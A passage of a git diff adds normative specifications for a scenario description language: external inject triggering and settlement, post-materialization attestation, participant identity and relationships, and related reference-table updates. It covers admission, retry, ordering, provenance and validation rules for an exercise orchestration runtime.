descriptive data forms. Their object shapes are closed independently; a field absent from a phase is forbidden rather than represented by an empty compatibility shell. @@ -226,6 +227,7 @@ forbidden rather than represented by an empty compatibility shell. | Expanded authoring | executable sections; `name`; root `variables`; typed `expansion_provenance` | `module`, `imports`, `realization` | internal trusted representation | | Instantiated | executable sections; `name`; required `instantiation_provenance` | `module`, `imports`, `realization`, `variables`, any `${…}` token | `instantiated-scenario-v1` | | Canonical instantiated snapshot | required `profile` and admitted `scenario` | all authoring machinery at the envelope; the nested scenario obeys the instantiated row | `instantiated-scenario-snapshot-v1` | +| Materialized description | common scenario sections; `name`; required `materialization_provenance` | all authoring machinery, `instantiation_provenance`, any `${…}` token | `materialized-scenario-v1` | The **normalized authoring object** exists after safe source construction, canonical field recognition, shorthand expansion, enum/scalar typing, and @@ -266,6 +268,14 @@ the runtime-layering boundary of delivery-level realisation remains downstream of the author-facing realization designation and is out of scope for the authoring model. +The **materialized description** reports the full world after backend hooks, +including in-world additions and changes. It uses ordinary SDL parsing, +validation, formatting, compilation and planning, with inspection-only plans. +Its source/execution bindings, native member origins, instance identities and +distinct `raes-sdl-materialized/v1` canonical identity follow +[materialization-attestation.md](materialization-attestation.md). Reading it +does not import, instantiate, execute, authorize additions or acquire evidence. + ## 8. Canonical semantic identity The v2 profiles in this section and §9 apply to both tagged and untagged diff --git a/specs/sdl/external-injects.md b/specs/sdl/external-injects.md new file mode 100644 index 000000000..7b78c55a9 --- /dev/null +++ b/specs/sdl/external-injects.md @@ -0,0 +1,234 @@ +# External inject triggering and execution + +Semantic decision: external-inject-occurrence/rev1, under +[ADR-112](../../docs/decisions/adrs/adr-112-external-inject-triggering-and-execution.md). +This is the normative DSL-111/DSL-142 amendment, not a wire schema, endpoint or +claim that the current runtime/backend executes these rules. + +## EI-01 — Authored intent and resolved targets + +Reuse Inject, Event, Script, Story and optional Node.injects declarations. +An external trigger instantiates one authored inject, not an arbitrary command +and not an entire event. A separate admitted occurrence is needed for every +other inject in that event. Record the canonical inject address, scenario and +compiled-plan content pins, realization profile/version, source artifact +identity and integrity, target/run, concrete binding set and narrative placement +when applicable. Entities describe narrative endpoints; neither they nor an +opaque environment string identify a host, actor, participant or controller. + +The request selects one admitted binding or an explicit nonempty subset of a +resolved fan-out. Each binding names a concrete realization instance and its +revision, including node-count expansion and module namespaces. Missing, +ambiguous, cross-run or stale selections refuse; never silently choose every +host or the first matching name. A top-level inject without Node.injects may +execute only when its selected realization supplies an explicit resolved target +contract, not by inferring hosts from entity names. Optional or floating source authoring remains valid, but execution requires a +resolved executable realization and immutable artifact pin; retries never +re-resolve a floating selector. A descriptive inject without such a realization +is unsupported, never a successful no-op. No source replacement, +plan mutation, arbitrary URL/path callback or expanded scope is permitted. + +An event-anchored request retains that event's assertions. A scheduled placement +also retains script/story identity, window and occurrence coordinates. A direct +request with no narrative placement requires an admitted independent binding; +it cannot omit an existing binding's event/schedule preconditions to evade them. +The selected source's intrinsic preconditions also remain binding. Unknown or +unsupported assertion truth refuses; use the existing proposition/assertion +owner. No synthetic event, script, story or participant is required. + +## EI-02 — Input and identities + +Separate static source artifact, runtime input, produced result and disclosed +item. A realization declares a closed, bounded input contract with media/schema +identity, allowed parameters, exact scalar types, artifact trust and provenance. +Absent input contract means no runtime parameters, not an open dictionary. +Parse serialized input with existing bounded duplicate/nonfinite-rejecting +ingress before ambiguity is lost, then validate shape and contextual bindings. +Perform the same semantic checks for embedder calls and persistence readers. +Existing Inject.environment gains no shell or environment-assignment grammar. + +Persist a value-free commitment to admitted intent and classified input refs; +extend the owning ephemeral exact-retry mechanism deliberately for any +sensitive input. Current account-credential helpers do not already protect +arbitrary inject payloads. Never +persist raw secret values or guessable secret digests. Loss of an ephemeral +commitment cannot be treated as equality; retain the claim and refuse an +unverifiable retry without redispatch. References/digests still need disclosure +authorization. Payloads cannot supply credentials, executable selectors or +accepted outcome evidence. Backend secret/input resolution uses existing owners. + +Keep request key, operation ID, logical occurrence ID, attempt/generation, +narrative placement, delivery occurrence and observation occurrence distinct. +One accepted occurrence may select multiple concrete bindings; that does not +promise atomic world effects. Repetition uses a fresh occurrence and fresh +request key. The admitted binding defines whether an occurrence is independently +repeatable or is a uniquely identified schedule slot. A schedule slot may be +claimed only once, even with another occurrence ID or request key. + +Within the ADR-104 target/run store, the retry key is (actor, operation kind, +client key). Bind its immutable commitment to occurrence ID, exact target set, +payload/source, plan/interpretation, cut/order and optional composition joins. +Exact authorized retry returns the original operation/occurrence and current +recorded outcome without a new admission or invocation. Changed content +conflicts. Independently claim occurrence identity in the run: another retry +key cannot execute an already claimed occurrence. Another actor cannot take it +over or inspect its receipt. Authorize receipt access before any lookup and +before revealing whether another actor's claim exists. Re-check current read +authorization, not original execution admissibility, for an exact retry. + +## EI-03 — Trusted order, time and admission + +One admitted ordering authority sequences scheduled, external and derived +requests for the same orchestration run. Its token names the scope, exact +predecessor/head and order; transport arrival, UUIDs, collection order and lock +acquisition are not semantic ordering. Ambiguous order is withheld/refused +before claim. Ordered contenders are revalidated at their turn; a stale +expected cut is rejected without substituting a new revision. Order and clock +validity are independent: resolve domain, clock, segment, tick/microstep and +explicit mappings through the shared time owner. An expired or unmappable +request cannot become valid through a smaller order number. + +Admission requires authenticated principal, current mutation authorization, +exact target/run/plan and binding, applicable event/schedule assertions, +payload/source trust, selected interpretation, bounds and causal budgets, +supported installed protocol, and admitted outcome/evidence capability. +Existing inject-binding support or successful plan start is not that capability. +An audit-only principal cannot trigger. General world effects require neither +declared participants nor a participant-runtime component. + +A pre-claim denial has no accepted occurrence; use bounded, redacted rejection +audit. Claim the operation, request key, occurrence and optional schedule slot +atomically with actor-bound admission evidence and the expected store revision. +A failed commit exposes no accepted claim or dispatch. Queueing grants no +lasting authority: before dispatch revalidate live authority, target/binding +revision, preconditions, time, budgets, effect reservation and backend +willingness. An invalid queued request is withdrawn with zero dispatch and a +retained claim. No no-op or participant-view fallback may stand for execution. + +## EI-04 — Execution and settlement + +The abstract relation is: + +- unclaimed -> denied, or atomically admitted with immutable claims; +- admitted -> withdrawn before dispatch, or running with durable intent; +- running -> effect-applied, effect-absent, known-partial, or indeterminate; +- terminal -> append linked reconciliation evidence, never refire or rewrite. + +These are semantic facts mapped onto existing operation states and stable +diagnostics, not additional persisted enum values in this publication. +An installed executor must write the running attempt/generation before invoking +the backend. Reuse ADR-104's short mutation permit, retained conflicting-effect +reservation, bounded supervision and execution-generation fence. Store CAS +does not fence a remote effect. A lost owner or timeout does not release a +conflicting reservation without evidenced cessation. + +Backend support, willingness, acceptance and applied effects are separate facts. +A backend may refuse before any effect, and its refusal still needs the +contractually valid no-effect/cessation basis. After invocation, an exception, +disconnect, cancellation acknowledgement or invalid result proves neither +success nor absence. Unknown or potentially late effects are indeterminate. +Known partial effects require per-binding residual state and cessation evidence +under the admitted outcome contract; missing targets cannot be assumed absent. +For fan-out, retain each binding's outcome: all applied is effect-applied, all +proven absent is effect-absent, a fully known mixture is known-partial, and any +unknown binding makes the aggregate indeterminate while preserving known facts. + +Validate outcomes against occurrence, attempt/generation, target/run/binding +revisions, source/input commitment, backend identity, observation/readback basis +and evidence integrity. Queued/bound status, a true boolean, control acceptance +or a nonempty evidence reference is insufficient. Required evidence and produced +evidence are distinct. Atomic terminal commit includes validated state, +operation outcome and immutable actor-bound audit; failure after the world +effect leaves an unsettled/indeterminate attempt for reconciliation. + +Recovery observes under the original pins and ownership, never blindly invokes +again. Exact client retries, new retry keys, delivery retries and new processes +cannot bypass retained claims. Later attributable evidence links a resolution +to the original immutable result and generation; it does not rewrite history, +unblock conflicting work without cessation, or upgrade stale results to current +state. There is no exactly-once remote execution, universal rollback, liveness +or physical cancellation guarantee. P0 has only its admitted in-process +guarantees; P1/P2 durability does not imply P3 multi-writer coordination. + +## EI-05 — Optional participant composition + +World effects, disclosure authorization, delivery, observation and control +acceptance have separate records and outcomes. An environment-only occurrence +may affect services used by undeclared people/agents. A researcher can trigger +an authored world condition without becoming a participant or controller. +Changing a world approval condition is not approval of an API-409 proposal. + +An explicit participant binding additionally resolves declared addressee, +episode, authenticated audience, observation boundary, independently pinned +delivery policy, markings/provenance, time and final-sink flow checks. It joins +the exact world occurrence and produced-result identity/evidence, not merely an +inject declaration or the latest narrative event. Pure disclosure of an existing +item retains its existing meaning and need not invent a world effect. + +Direction/intervention additionally binds the exact accepted ADR-110 control +occurrence identity/revision, edge/policy, acting source controller, typed +target, authority scope, validity and evidence. The caller's operational role +and the control-subject/audience bindings confer different authority. Do not +classify a participant direction as an environment effect to evade these gates. +One (control occurrence, participant binding) authorizes at most one logical +delivery; independent fan-out uses separately admitted bindings. Reserve that +pair atomically through the existing crossing/history/receipt owner before +emission. Retain the reservation after a lost acknowledgement or crash; unknown +delivery requires reconciliation, never blind emission under a new client key. +An exact receipt lookup is separately authorized; a pending emission still +requires current disclosure gates. + +API-424 inject effects require a fresh orchestration occurrence and produced +result with source provenance; a participant status view alone satisfies +neither. If composition requires a world effect, its outcome is a predecessor +to the corresponding result delivery. Optional delivery failure preserves the +world outcome; required delivery failure keeps composed success/dependent +progress withheld without claiming rollback. A failed world effect supplies no +successful effect result for delivery. Any failure notification is a separately +authorized disclosure. Delivery retry reuses the effect/result identity and +cannot refire it. Emission, acknowledgement and observation require their own +evidence; no participant observation follows from transport success. + +Legacy DSL-142 anchors still require their original event/script/story fields. +The new semantic join permits an independently admitted external occurrence +without a schedule, but only through explicit versioned occurrence/reader +support. Do not fabricate anchors or make old fields optional to pass validation. + +## EI-06 — Ownership, compatibility and assurance + +ADR-104/API-403/404 own operations, authorization, retries, storage and recovery. +API-402 and RUN-300/304 own portable submissions and live history. DSL-111 owns +authored narrative identity and this occurrence relation; DSL-142 owns optional +participant binding. ACT-617/API-409/RUN-310 and ADR-110 retain control semantics; +API-423/RUN-319 retain disclosure/delivery; SEM-235/API-424/RUN-320 retain +modular-effect admission, causal budgets and predecessor obligations. API-421 +owns shared time and ASR-532 owns backend-result admission. This amendment +composes those owners and creates no second authority for them. + +The shared runtime drives execution through the existing orchestrator/backend +boundary. A concrete backend owns artifact execution, native target access, +input/secret handling, cancellation/cessation and readback. The portable +contract fixes identity, admission, ordering, outcomes and evidence without +selecting a transport, container/process model or backend-specific command. +A backend must explicitly admit this versioned invocation/outcome capability; +supports_inject_bindings is insufficient. + +The [compatibility contract](../../docs/explain/sdl/external-inject-compatibility.md) +defines producer/reader and history compatibility. +No published schema or runnable parser form changes here. Existing canonical +authoring is reused where sufficient; realization input/target contracts are +explicit adoption artifacts, not new mandatory SDL fields. + +Invariants: claims are unique and immutable; denial/retry never dispatches; +every dispatch follows a valid claim and running intent; no stale cut is +silently rebased; unknown effects stay unknown; fan-out retains every selected +binding; participant delivery cannot create a world effect or observation; +historical interpretation and actor attribution remain stable. + +The [bounded test relation](../../implementations/python/tests/test_issue_1353_external_inject_design.py) +checks finite claim/order/lifecycle/outcome and +delivery projections. It assumes trusted resolver/authorization/clock/evidence +inputs and an atomic store. Existing parser/compiler and delivery tests witness +legacy behavior. Neither test family proves the new HTTP/core/store/backend +implementation, adversarial ingress security, actual effects or observation. +Coordinated adoption requires behavioral tests at those real consumers. diff --git a/specs/sdl/materialization-attestation.md b/specs/sdl/materialization-attestation.md new file mode 100644 index 000000000..5db225ab7 --- /dev/null +++ b/specs/sdl/materialization-attestation.md @@ -0,0 +1,133 @@ +# Post-materialization SDL attestation + +Issue #1241 extends SEM-225 with `raes-materialization-attestation/v1`. +An attestation is a descriptive SDL document, using the existing scenario +sections and their owning types. It is not a provisioning recipe or a second +node, service, mount, command, or environment vocabulary. + +## Document phase and identity + +The materialized document has the common `ScenarioContent` fields and one +required `materialization_provenance` field. Authoring machinery (`module`, +`imports`, `variables`, `variation_points`, `realization`) and instantiation +provenance MUST NOT appear in this phase. The ordinary bounded `sdl-yaml/v1` +parser MUST admit the phase, apply its closed shapes and semantic validation, +and preserve qualified declaration identities. It MUST NOT resolve imports or +perform variable substitution while reading it. Unresolved SDL substitution +tokens are invalid. These rules also apply to empty authoring fields. + +Materialization provenance identifies the attestation, run, operation, +post-materialization boundary, time, producer name/version, producer manifest +and configuration digests, original authored semantic digest, admitted +instantiated snapshot digest, submitted plan digest, and immediate predecessor +digest. Authored and instantiated digests retain their existing profile labels. +The attestation uses a separate canonical profile. An artifact byte checksum +does not replace any of these semantic or execution bindings. + +The provenance also carries value-free origin records and resource bindings. +Origin records distinguish additions, selections/changes and removals by their +source and materialized addresses. A wrapper or listener added within an authored +node requires its own origin; the node's origin is insufficient. Unchanged +content retains the origin of the admitted source, including processor-derived +values. Resource bindings retain source declaration and instance identity so +replicas cannot collapse into a single template. Collection comparisons use +the existing owning semantic identities; ordered commands and rules retain +their order. A producer MUST NOT relabel an authored member as an addition. + +For a counted node whose replicas have identical described content, each +instance has a separate binding with the same node/address and an explicit +zero-based `instance_index`; indices cover exactly `0..count-1`. A singleton +may omit the index. Different instance contents MUST NOT be collapsed into a +uniform template. Removed-member pointers resolve in the original source; +added/selected pointers resolve in the description. A removed and an added +keyed member may occupy the same list position without being the same identity. + +The canonical input is exactly `{profile: "raes-sdl-materialized/v1", scenario: +M}`, where `M` uses canonical wire names and omits unsupplied optional fields. +It is serialized with RFC 8785 and SHA-256, with array order preserved. + +Parsing and planning an attestation preserve its descriptive phase. Executing +it as new desired state requires an explicit authoring derivation. An attestation +MUST NOT replace the source against which the original run is checked. + +## Materialization and disclosure + +The `raes-materialization-effects/v1` coverage profile covers every authored +materialized element and every in-world effect introduced by the backend, +including additions within an existing element. Existing SDL owners describe +nodes, services, listeners, host exposure, mounts, environment, network +membership, executable commands, and injected file/content identities. The +test is whether an effect could in principle be observed in-world, not whether +the operator calls it apparatus or a participant actually observed it. +Out-of-world bookkeeping is excluded; its in-world effects are included. + +A successful materialization under this contract MUST return an attestation, +including when there are no additions. It MUST describe the state after every +materialization hook and evidence-setup rewrite in its producer scope. Distinct +producers retain their own scope and provenance; overlapping contradictory +claims MUST NOT be merged by precedence. An incomplete or stale description +cannot establish completed materialization. + +Attestation is required safe operational provenance. It does not implicitly +request a new guest probe, independent observation, experimental evidence +collection, or export. Those operations retain their existing demand, +prohibition, retention, verification and compensation owners. Backend selection +and backend assertions MUST NOT become independently observed evidence. + +The existing non-approximation and prepared-membership checks continue to use +the original admitted plan. Required members, exact leaves, bounds, absence and +closure remain binding. Disclosed additions must also be authorized; disclosure +alone MUST NOT grant authority retrospectively. The result boundary MUST reject +undisclosed changes, unauthorized additions, contradicted original constraints, +invalid origins and mismatched execution bindings before accepting success. + +Existing native redaction and sensitivity rules apply to added and authored +content alike. Protected values remain omitted using the owning SDL forms; +snapshot commitments are not SDL values. A safely withheld command or value +must not conceal the existence of the added effect. If an effect cannot be +represented safely, the backend cannot claim complete contract support. +Errors contain bounded identities and reason codes, not document excerpts, +input values or backend exceptions. In-world visibility does not authorize +every participant to retrieve the entire document. + +## Runtime and archival delivery + +Support is explicitly negotiated through the backend manifest's contract +versions. Unsupported consumers MUST reject the contract rather than silently +drop the attestation. Shared result carriers carry the attestation through +runtime admission; opaque details, metadata, audit text and raw logs are not +attestation carriers. Trusted source context is retained separately because a +lossy operation plan or sanitized snapshot cannot reconstruct the source SDL. + +The existing run archive MUST contain the admitted SDL bytes and a verified, +typed `materialization-attestation` artifact reference with checksum, size, +sensitivity and execution binding. The run's `scenario_snapshot_ref` continues +to name the admitted input. Existing augmentation disclosures link the added +effects and retain their classification, marking, evidence and comparability +requirements. Neither the attestation nor a collector's existence satisfies +an evidence-capture requirement. + +Archive names and destinations are runtime-owned. Publication must be contained, +protected and immutable: a retry may reuse identical bytes, but MUST NOT +overwrite a different result under an existing identity. Publish verified bytes +before their durable accepted reference, retaining recovery information through +the incumbent operation commit and snapshot revision checks. Atomic file +publication is not a transaction with the operation store. Archival failure +MUST NOT claim completed reproducibility or cause automatic rematerialization; +valid cleanup inventory remains available. Returning a prior portable snapshot +does not itself roll back physical infrastructure. + +The reference profile is `raes-sdl-materialized/v1`. `ref_path` is the +contained relative path `runs//attestations/.sdl`; +the artifact URI is the inert `urn:sha256:` identity, not a host +path or fetch instruction. Associated-artifact validation binds explicitly +supplied bytes to that identity and to the materialized parent. Run records +carry these joins in `materialization_attestations`; disclosure references must +resolve to a record belonging to the same run. + +Addition permission is governed separately by [augmentation scope](augmentation-scope.md). +Omission means open; explicit closure is checked before materialization using +the same in-world effect definition as this report. The attestation does not +grant permission retrospectively. Neither contract introduces continuous +exhaustive host scanning, cryptographic producer proof, or automatic promotion +of observations into author intent. diff --git a/specs/sdl/observability-and-evidence.md b/specs/sdl/observability-and-evidence.md index f721accb2..5b28041bd 100644 --- a/specs/sdl/observability-and-evidence.md +++ b/specs/sdl/observability-and-evidence.md @@ -7,6 +7,13 @@ runtime families. A future field still has to update `sections.md`, `references.md`, the published SDL schemas, the reference implementation, fixtures, and tests. +[`augmentation_scope`](augmentation-scope.md) separately controls permission +for in-world additions needed by capture or other apparatus. **Omission means +open.** Authors must explicitly forbid additions: a closed default would impose +a large, unexpected burden by requiring them to anticipate every backend's +implementation details. Closed scope cannot be bypassed by silently installing +instrumentation or omitting required evidence while claiming success. + ## Plane Rule An SDL authoring construct that makes an observability or evidence claim MUST @@ -259,6 +266,14 @@ NOT be hidden in metadata, diagnostics, audit blobs, backend-native DTOs, or raw logs. Run-level processor/backend augmentation disclosures are carried by +`experiment-run-v1`. Negotiated backend materializations also carry full +[materialized SDL](materialization-attestation.md) in a protected archive, +referenced through `materialization_attestations`. The typed +`materialization-attestation` reference is a portable augmentation carrier, +not captured evidence or the original scenario snapshot. Existing visibility, +marking, evidence-reference and comparability obligations still apply. + +The classification record itself remains `experiment-run-v1` `augmentation_disclosures`. That carrier records the augmentation purpose, realization layer, additive classifications, portable carrier refs, disclosure policy, markings, observer/comparability effects, and diff --git a/specs/sdl/participant-identity.md b/specs/sdl/participant-identity.md new file mode 100644 index 000000000..6e93e72aa --- /dev/null +++ b/specs/sdl/participant-identity.md @@ -0,0 +1,95 @@ +# Participant Identity, Affiliation, and Objective Assignment + +Status: **normative**. Decision: [ADR-109](../../docs/decisions/adrs/adr-109-participant-identity-and-objective-assignment.md). +Issue #1338; no requirement status transition is implied. + +## Contract + +PI-01. An `agents` map key MUST identify one author-designated autonomous +subject. It MAY represent a composite system. No component list, organization, +node, service, implementation selection, or measured autonomy threshold is +required. Distinct keys MUST remain distinct participants even when affiliated +with the same organization. Participant identity is not operating-system or +control-plane identity. + +PI-02. `affiliations` is an optional list (default empty) of distinct declared, +flattened entity names. Affiliation MUST NOT imply objective assignment, +authority, shared knowledge, a beneficiary, or a component relation. A direct +optional `role` uses the existing `ExerciseRole` vocabulary. Whole-field +variables remain legal before instantiation and are revalidated afterward. + +PI-03. All effective-role consumers MUST use the same rule. For participant P, +affiliations A, and entity-role function R: + +```text +effective_role(P) = P.role if explicitly supplied + = R(the sole member of A) if |A| = 1 + = absent otherwise +``` + +No first-member selection, role union, or inference from actions/ownership is +permitted. A consumer requiring a role MUST fail closed on an absent or +unresolved role. Role selection is not an authority grant. + +PI-04. An objective MUST have at least one nonempty `owner` or +`assigned_participant`; both MAY be supplied. Owner references a flattened +entity name and means organizational responsibility. Assignment references an +`agents` key and means authored intent to pursue. Neither denotes the actor of +an observed event. Beneficiary has no field in this contract and MUST NOT be +inferred from either relation, targets, or success subjects. + +PI-05. Every objective action MUST reference a declared `action_contracts` key. +If assigned to P, objective actions MUST be a subset of P.actions. Without +assignment, declared constraints remain valid organizational intent: they do +not create a participant, evaluation authority, or action occurrence. + +PI-06. A participant relationship's `objective_refs` MUST name objectives +explicitly assigned to a relationship endpoint. Common affiliation or ownership +is insufficient. Autonomous declared-objective evaluation MUST name an objective +assigned to a selected participant. Non-evaluating participant modes MUST NOT +receive objective assignments. Incumbent action, evaluation, target, backend, +and control-plane admission gates still apply. A participant MUST NOT be owned +by multiple autonomous behavior specifications, including overlaps introduced +by role selectors; conflict validation and compilation use the same selection. + +PI-07. Imports MUST namespace affiliation, owner, assignment, and action +constraints through their respective section maps. Variation slots are +`objectives.owner` and `objectives.assigned_participant`; old slots are rejected. +Parser, instantiation, editor references, validation, and compiler projections +MUST agree. Normalized AFFILIATION, OWNER, ASSIGNMENT, and ACTION_CONSTRAINT +references retain distinct meanings; none adds a planner dependency role. + +PI-08. Compilation MUST preserve participant name/address independently of +affiliation. Objective projection carries `owner_name`, +`assigned_participant_name`, and `assigned_participant_address`, never overloaded +`actor_type/actor_name`. Realized actor attribution remains governed by existing +participant action/episode/history records. Assignment MUST NOT be copied into +such a record as proof of action; observed actions MUST NOT rewrite assignment. + +PI-09. Canonical readers MUST reject `Agent.entity`, `Objective.agent`, and +`Objective.entity` with migration guidance. The [migration](../../docs/migration/participant-identity.md) +creates a new artifact or refuses atomically. It MUST NOT guess assignment from +affiliation, drop conflicting fields, or rewrite stored historical evidence. + +## Conformance and clause-to-test matrix + +Paths below are relative to `implementations/python/tests/`. Parameterized tests +include positive and negative cases; model/schema and parser/compiler comparisons +are differential evidence, not claims of live backend execution. + +| Clauses | Executable evidence | +| --- | --- | +| PI-01, PI-02, PI-03 | `test_issue_1338_participant_identity.py`: composite declaration, shared affiliation, direct/inherited/multiple-affiliation roles, duplicate/dangling refs, role-selected compiler projection | +| PI-04, PI-05 | Same file: model/schema differential relation shape; assigned/unassigned objectives; dangling owner/assignment; global and participant-local action checks | +| PI-06 | `test_issue_1338_identity_authority.py`, including `test_autonomous_ownership_conflicts_include_role_selected_participants`; relationship endpoint tests in `test_issue_1338_participant_identity.py` | +| PI-07 | `test_issue_1338_identity_stages.py`: namespaced imports, variable revalidation, editor completion/navigation; `test_sdl_variation_points.py` | +| PI-08 | Compiler assertions in `test_issue_1338_participant_identity.py`; unchanged action/episode boundary covered by `test_runtime_control_plane.py` | +| PI-09 | `test_issue_1338_identity_migration.py`: deterministic migration, explicit owner/assignment decisions, stale/missing context, conflicts, invalid actions, imports, idempotence | + +`test_issue_1338_identity_evidence.py` locks the accepted decision amendments and +historical fixture retention; `test_issue_1338_identity_examples.py` checks the +published scenarios' declared action constraints and honest abstract contracts. + +The human reference catalog and machine parity expectations enumerate the exact +reference fields. Published schemas under `contracts/schemas/` govern portable +shape; semantic constraints above are not replaced by schema acceptance. diff --git a/specs/sdl/participant-relationships.md b/specs/sdl/participant-relationships.md new file mode 100644 index 000000000..00cb74ed4 --- /dev/null +++ b/specs/sdl/participant-relationships.md @@ -0,0 +1,123 @@ +# Participant Relationships + +Status: normative. Requirement: ACT-612. This specification extends the existing +SDL `relationships` graph under ADR-020/022/052/067 and the sparse-description +principles of ADR-105. It defines authored relationships, not runtime occurrences. + +## Shape and meaning + +A participant relationship MUST use `type: participant` and a closed +`participant` detail containing `kind`. Its map key supplies stable identity. +`source` and `target` MUST resolve unambiguously to distinct `agents` declarations. +Bare and `agents.` references use the existing declaration index; ambiguous +bare names require qualification. Entities, roles, accounts and implementation +identities MUST NOT substitute for participant endpoints. + +| Kind | Meaning from source to target | +| --- | --- | +| `coordination` | Intent to synchronize actions or state with the target. | +| `delegation` | Assignment of responsibility for work to the target. | +| `cooperation` | Intent to pursue aligned work or outcomes with the target. | +| `competition` | Intent to pursue competing work or outcomes with the target. | +| `supervision` | Intent to oversee the target's work. | + +These five terms are semantic operators, not backend implementation identities. +The graph remains directed for every kind. A reciprocal declaration MUST be +explicit. Cycles and multiple kinds between the same participants are permitted; +the relationship graph is not an execution dependency graph. + +The detail and `type: participant` MUST occur together. A participant edge MUST +NOT carry nonempty generic `properties` or another typed relationship detail. +Unknown detail fields and kinds MUST be rejected. Existing nonparticipant edges +retain their meanings and endpoint rules. + +## Sparse descriptions and refinements + +Kind and endpoints are sufficient for a complete abstract relationship. +Implementations MUST NOT require machine descriptions, action implementations, +control policies, evidence, validity intervals, or observations merely because +a relationship is declared. Omitted refinements make no additional statement. +They are not assertions that all actions, goals, scopes or observations apply. + +Authors MAY refine a relationship through the following reference lists. +All supplied references MUST resolve in their owning sections. Lists MUST +contain nonblank unique strings and MUST reject duplicate canonical references +written with different aliases, including authority and scope references. + +| Field | Refinement and agreement rule | +| --- | --- | +| `source_action_refs` | Declared action contracts available to the source participant. | +| `target_action_refs` | Declared action contracts available to the target participant. | +| `objective_refs` | Declared objectives explicitly assigned to an endpoint participant via `assigned_participant`. Ownership or shared affiliation alone is insufficient. The relation kind states the author's alignment/competition intent; this is not a proof of objective equivalence or opposition. | +| `behavior_specification_refs` | Existing behavior aggregates including at least one endpoint, directly or through its role. Outcome, realization and evidence refinements remain in those aggregates. | +| `authority_basis_refs` | Existing authority anchors of the source. A relationship cannot create an authority anchor by naming it. | +| `scope_refs` | Existing operating-scope elements within both endpoints' declared scopes. | +| `observation_boundary_refs` | Existing observation boundaries already available to the source; no new visibility is granted. | + +When both action lists refine coordination, every source action MUST have +SEM-209 coordination interactions covering the listed target actions. An +interaction explicitly targeting a participant MUST target the relationship's +target. Resource-targeted coordination remains permitted: authors need not +invent a participant target for a shared-resource interaction. Cooperation and +competition MUST NOT be rewritten as coordination, contention or interference. + +Reference variables MAY remain unresolved in authoring. Instantiation MUST +resolve them and repeat semantic validation. An unresolved reference cannot +authorize compilation or weaken an explicitly supplied constraint. + +## Optional control binding + +Delegation and supervision MAY name `control_specification_ref`, a reference to +an existing behavior specification with an ACT-617 `mixed_control` declaration. +Other relationship kinds MUST NOT use this field. The selected policy MUST +agree with direction and include an active controller state: + +- Supervision: the target is the controlled participant and the source is its + controller. +- Delegation: the source is the controlled participant and the target is its + delegate controller. + +If `scope_refs` also refines the relationship, the selected scope MUST be +covered by the policy's active states for that controller. A participant's +broader operating scope cannot enlarge the selected control policy. + +This binding describes the policy relevant to the relationship. It does not +activate a controller state, hand off control, approve a proposal, copy a +credential, widen authority or bypass a runtime check. Policy validity, +authority/scope, ordering, evidence and transition rules remain governed by +ACT-617. A policy reference also does not claim that a transition occurred. + +Without this refinement, delegation describes responsibility and supervision +describes oversight intent. Neither implies operational controller authority. +Supervision is independent of the `human-supervised` decision mode. Participant +delegation is independent of backend materialization delegation. + +## Composition, compilation and evidence + +Module composition MUST rewrite endpoint and refinement references through +the existing symbol maps. Imported action interaction targets, related actions +and shared-state references MUST retain the same namespace. Instantiation and +compilation MUST preserve each validated relationship's identity, direction, +kind and selected refinements. + +Relationship declarations MUST NOT create actions, backend resources, control +operations, observation demand, collection, retention or export obligations. +Realized claims use the existing action, joint-action, shared-state, control, +observation and outcome contracts with their selected evidence requirements. +An authored edge, schema pass or capability declaration is not evidence that a +relationship was realized. + +## Reference implementation evidence + +The Python reference implementation checks shape in `Relationship` and +`ParticipantRelationship`, and semantic agreement in `SemanticValidator`. +Compilation preserves declarations in the existing `RuntimeModel.relationship_specs` +metadata. Those dictionaries are not executable authority or a second runtime +graph. No new scheduler, control API, occurrence family or persistence store is +introduced by this contract. + +The `test_act_612_participant_relationships.py` and +`test_act_612_relationship_integration.py` suites exercise sparse declarations, +selected refinements, rejection boundaries, composition, instantiation, +compilation and schema shape. They establish declarative support, not a claim +of realized cooperation, fair competition or successful control transfer. diff --git a/specs/sdl/references.md b/specs/sdl/references.md index da8521b69..157fc4339 100644 --- a/specs/sdl/references.md +++ b/specs/sdl/references.md @@ -152,7 +152,7 @@ probe implementations; propositions and assertions carry portable truth. | Source | Field | Target | |--------|-------|--------| -| `agents` | entity | `entities` | +| `agents` | affiliations | `entities` | | `agents` | starting accounts | `accounts` | | `agents` | interactive-access target / account | `nodes` (compute) / `accounts` | | `agents` | subnets / initial-knowledge subnets | switch-backed `infrastructure` | @@ -164,8 +164,8 @@ probe implementations; propositions and assertions carry portable truth. | `observation_boundaries` | view-rule information refs | own observable/hidden/evidence refs | | `behavior_specifications` | tool-affordance tool/action/observation refs | `content` / `action_contracts` / `observation_boundaries` | | `behavior_specifications` | tool-affordance visibility identity | own nested affordance declaration, classified by each referenced observation boundary | -| `objectives` | actor | `agents` or flattened `entities` | -| `objectives` | action | the bound agent's `action_contracts` | +| `objectives` | assignment / owner (independent) | `agents` / flattened `entities` respectively | +| `objectives` | action constraint | `action_contracts`; also available to the assigned participant, if any | | `objectives` | target | targetable elements (excl. `variables`/`objectives`/`workflows`) | | `objectives` | success criteria | `assertions` (invariants/postconditions, [ADR-079](../../docs/decisions/adrs/adr-079-backend-neutral-proposition-and-truth-semantics.md)) | | `objectives` | window | `stories`/`scripts`/`events`/`workflows` (with closure rules) | @@ -228,6 +228,7 @@ any role-bearing refs | `forwarding_edge` | `forwarder_ref` → exactly one `forwarding_agents` element (node-scoped or scenario-level); protocol/role MUST agree with a declared ship target | | `service_integration` | consumer/engine refs → `platform_applications`; auth-principal ref → a declared app-authorization on the engine's node | | `proxy_upstream` | upstream → a resolved runtime application/endpoint | +| `participant` | `source` / `target` → distinct declared agents; optional refinements → existing participant, action, objective, authority, scope, observation and mixed-control declarations ([participant relationships](participant-relationships.md)) | | `domain_controller_for` | `source` → a compute node; `target` → an `identity_domains` entry | | `joins_domain` | `source` → a compute node; `target` → an `identity_domains` entry; controller refs → controller nodes for the same domain | @@ -255,6 +256,22 @@ relation's resolved point. ## 6. Machine-checkable reference-edge index +[External inject occurrences](external-injects.md) add a semantic runtime join +from an admitted authored binding to exact target/run, source/input, occurrence +and outcome identities. Optional participant delivery joins that exact +occurrence/result and, for direction/intervention, its accepted control +application. These are versioned adoption obligations, not new source fields +or permission to weaken the legacy reference rows below. + +Mixed-control and participant-inject rows in this index describe the current +fixed-coordinate SDL fields. The +[reusable semantic amendment](../formal/participant-semantics/reusable-mixed-control.md) +requires a separate permission reference and exact occurrence-context join, +acting-source controller authority, independent control/disclosure policy pins +and typed order/time coordinates. These are adopted only through the explicit +[producer/reader 